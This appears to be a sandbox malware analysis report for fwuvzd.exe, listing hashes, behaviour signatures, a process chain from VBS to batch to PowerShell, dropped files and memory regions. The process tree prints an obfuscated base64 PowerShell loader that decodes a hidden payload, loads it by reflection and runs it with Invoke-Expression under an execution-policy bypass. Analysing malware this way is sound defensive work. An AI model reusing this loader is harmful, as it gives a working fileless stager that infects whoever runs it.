Analysis

  • max time kernel
    117s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    03/04/2024, 11:47

General

  • Target

    fwuvzd.exe

  • Size

    286KB

  • MD5

    a6f9fd517c37cf1b39aeb4c88177366c

  • SHA1

    6bce5757df0f69560d8eba5fedf46ef1682eb188

  • SHA256

    664b37245df07f80723d2a014fd31e77b3ee06074d1eda962c167aacaa9d9bc3

  • SHA512

    96907d2a872eda21d76016afb5aaeb87e7524df41d7347f4bb9c7a054636a4640c812fd459c06bf40235c91476eb1468ed06eb8da4597df64a21f30379a1d7d2

  • SSDEEP

    6144:xfL+oq+hnjsVl3dRQTLUSy3io7TOTnM35BRTYlrTRhCD0tqmUsZJoU:xfL5njsVlNucSy3iZC5PIptSU

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fwuvzd.exe
    "C:\Users\Admin\AppData\Local\Temp\fwuvzd.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2356
    • C:\Windows\SysWOW64\wscript.exe
      "wscript.exe" "C:\Users\Admin\start.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1692
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\temp.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3052
        • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDb252ZXJ0LUFzY2lpVG9TdHJpbmcgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICItdGVtcC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2588
        • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2560

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\-temp.ps1

          Filesize

          1KB

          MD5

          c85cd2f6e6462d17628dfbc45bbefc50

          SHA1

          bdfe72dcd76c67404719fd653c90600065bd7c95

          SHA256

          09cf28610815212a352b962f37ef96d67e43484d132bd845f9b150ceab8ca190

          SHA512

          564df0161752ed2149f9a5923153d06357544234691876fc61bbc781a6b33a871dbc571dfa0d462e935ef405bb2c1857a7ea17d1fb33ce703d165df2ec342a05

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

          Filesize

          7KB

          MD5

          0db58e9c618a317cca323cfcda030bad

          SHA1

          f9b78821e914eb5955c78809ed2e95ac27be264d

          SHA256

          fc59039baf53a8bcd0616ef3f218ff686bd8a860ca4c488489efa3ed79c80c41

          SHA512

          b78178d0f52a84be0d4f72a67f0265288242a5c43f6f0847ee1db2696226c76d8b412f3527dc04a28af9262a7ce2be628a6802678f4cf070a70fdc7304fc9992

        • C:\Users\Admin\start.vbs

          Filesize

          231B

          MD5

          abe1dd23ab4c11aae54f1898c780c0b5

          SHA1

          bb2f974b3e0af2baa40920b475582bfd4fb28001

          SHA256

          89054e19532a9a62ca3403a8899495bf6f06557ff886b475a04227eb8aba7b12

          SHA512

          e9ec437a32301078ea69ce2f36dadab68315d5e56d94c4d579d3409ccbe0c9e00c3aed7baa0fa6d656fb8ed23213f4c01fb2d108c1a0ed11c58c76cd00f9a99d

        • C:\Users\Admin\temp.bat

          Filesize

          233KB

          MD5

          58b55cc56434f24c5dfff90a59c34b35

          SHA1

          39583e91e02cd52ef110b9bdab9bd974316db642

          SHA256

          5639b5fd5b7647b3cf2a043984f7ed3f3ceb1471db67d697fa6c3a84c5a33bf9

          SHA512

          8f8a6c44cdf30cbd6a1afed453a0ff1e2487042b2c45832f6aa25469585d097431c91c13598d8bf13f36b03805ebffb665b58ccb0f42859c1c2691fe33dd0be2

        • memory/2560-23-0x0000000074490000-0x0000000074A3B000-memory.dmp

          Filesize

          5.7MB

        • memory/2560-22-0x0000000074490000-0x0000000074A3B000-memory.dmp

          Filesize

          5.7MB

        • memory/2560-29-0x0000000074490000-0x0000000074A3B000-memory.dmp

          Filesize

          5.7MB

        • memory/2560-28-0x0000000074490000-0x0000000074A3B000-memory.dmp

          Filesize

          5.7MB

        • memory/2560-20-0x0000000002840000-0x0000000002880000-memory.dmp

          Filesize

          256KB

        • memory/2560-19-0x0000000074490000-0x0000000074A3B000-memory.dmp

          Filesize

          5.7MB

        • memory/2560-27-0x0000000002840000-0x0000000002880000-memory.dmp

          Filesize

          256KB

        • memory/2560-26-0x0000000074490000-0x0000000074A3B000-memory.dmp

          Filesize

          5.7MB

        • memory/2560-24-0x0000000002840000-0x0000000002880000-memory.dmp

          Filesize

          256KB

        • memory/2588-8-0x00000000744D0000-0x0000000074A7B000-memory.dmp

          Filesize

          5.7MB

        • memory/2588-11-0x0000000002810000-0x0000000002850000-memory.dmp

          Filesize

          256KB

        • memory/2588-9-0x00000000744D0000-0x0000000074A7B000-memory.dmp

          Filesize

          5.7MB

        • memory/2588-10-0x0000000002810000-0x0000000002850000-memory.dmp

          Filesize

          256KB

        • memory/2588-13-0x00000000744D0000-0x0000000074A7B000-memory.dmp

          Filesize

          5.7MB